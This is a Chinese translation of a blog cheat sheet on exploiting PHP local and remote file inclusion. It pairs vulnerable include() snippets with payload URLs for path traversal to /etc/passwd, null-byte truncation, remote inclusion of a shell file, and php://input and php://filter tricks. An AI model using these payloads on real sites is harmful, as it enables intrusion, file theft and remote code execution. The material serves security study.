PHP文件包含漏洞利用 – 概述

这是一个关于PHP文件包含漏洞的一个小的总结,来自Reiners’ Weblog。这些技巧可能以前在很多地方都可以看到,但他把它整理规范了,方便收藏与阅读。
小译:wpulog

基本的文件包含漏洞:
code : <?php include("includes/" . $_GET[‘file’]); ?>
    * 包含同路径下的文件:
      ?file=.htaccess
    * 路径遍历:
      ?file=../../../../../../../../../var/lib/locate.db
      (该文件非常有趣因为它允许你搜索文件系统)
    * 包含注入PHP代码的文件:
      ?file=../../../../../../../../../var/log/apache/error.log
      (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
受限的本地文件包含:
code : <?php include("includes/" . $_GET[‘file’] . ".htm"); ?>
    * 空字符注入(Null Byte Injection):
      ?file=../../../../../../../../../etc/passwd%00
      (需要magic_quotes_gpc=off)
    * 列目录(Null Byte Injection):
      ?file=../../../../../../../../../var/www/accounts/%00
      (仅限BSD, 需要magic_quotes_gpc=off,详细信息here)

    *路径截断(Path Truncation):
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (详细信息参见 herehere)
    * 点号截断:
      ?file=../../../../../../../../../etc/passwd……………. …
      (仅限Windows, 更多细节参见 here)
基本的远程文件包含:
code : <?php include($_GET[‘file’]); ?>
    * 包含远程代码(Including Remote Code):
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (需要 allow_url_fopen=On 和 allow_url_include=On)
    * 使用php输入流(Using PHP stream php://input):
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    * 使用PHP过滤函数(Using PHP stream php://filter):
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    * Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (需要 allow_url_include=On)
    * 用于跨站脚本攻击(Using XSS):
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)
受限的远程文件包含漏洞
code : <?php include($_GET[‘file’] . ".htm"); ?>
    * ?file=http://websec.wordpress.com/shell
    * ?file=http://websec.wordpress.com/shell.txt?
    * ?file=http://websec.wordpress.com/shell.txt%23
      (需要 allow_url_fopen=On 和 allow_url_include=On)
静态远程文件包含漏洞:
code : <?php include("http://192.168.1.10/config.php"); ?>
    * 中间人攻击(Man In The Middle)
      (lame indeed, but often forgotten)

[+]Reference:
~~~~~~~~~

英文原文地址:http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

出自:BugZone – http://www.pulog.org/Knows/1328/PHP-file-include/ 转载必须注明!

PHP文件包含漏洞利用 – 概述》上有2条评论

发表评论

电子邮件地址不会被公开。

您可以使用这些HTML标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>